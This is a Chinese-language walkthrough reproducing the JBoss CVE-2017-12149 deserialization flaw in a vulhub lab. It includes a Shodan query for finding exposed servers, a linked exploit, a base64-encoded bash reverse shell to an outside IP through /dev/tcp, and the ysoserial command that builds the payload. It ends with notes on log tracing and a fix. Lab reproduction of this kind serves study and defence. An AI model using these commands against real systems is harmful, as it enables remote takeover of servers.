CVE-2017-12149 JBoss readonly Java 反序列化漏洞复现
漏洞简述
Red Hat JBoss Enterprise Application Platform(EAP)是美国红帽(Red Hat)公司的一套开源、基于J2EE的中间件平台。该平台主要用于构建、部署和托管Java应用程序与服务。
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
漏洞影响版本
JBoss 5.x/6.x
Shodan 搜索语法
http.favicon.hash:-656811182
漏洞exp
https://github.com/yunxu1/jboss-_CVE-2017-12149
漏洞环境搭建
使用vulhub进行复现,初始化完成后访问http://your-ip:8080/
即可看到JBoss默认页面。
漏洞复现
该漏洞出现在/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化。
生成序列化数据
使用ysoserial来复现生成序列化数据。有两种安装的方法:
直接下载 ysoserial jar包
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
GitHub下载源码,maven编译生成jar包
git clone https://github.com/frohoff/ysoserial.git cd ysoserial yum install -y maven mvn clean package -DskipTests
会在target目录下生成ysoserial-0.0.6-SNAPSHOT-all.jar
我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,我们需要用进行bash64编码。
// bash -i >& /dev/tcp/43.132.152.185/1234 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzIuMTUyLjE4NS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
再使用生成payload。
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzIuMTUyLjE4NS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" >poc.ser
然后将文件内容作为post body 发包。可以直接使用上面提供的exp执行命令。
溯源排查
日志位置:/jboss-6.1.0.Final/server/default/log/server.log
排查关键词:/invoker
这里使用docker logs进行排查。
报错日志中回显了命令执行的内容,但无法溯源攻击者的ip。
修复方式
升级到最新版本。
赞赏微信赞赏支付宝赞赏
发表评论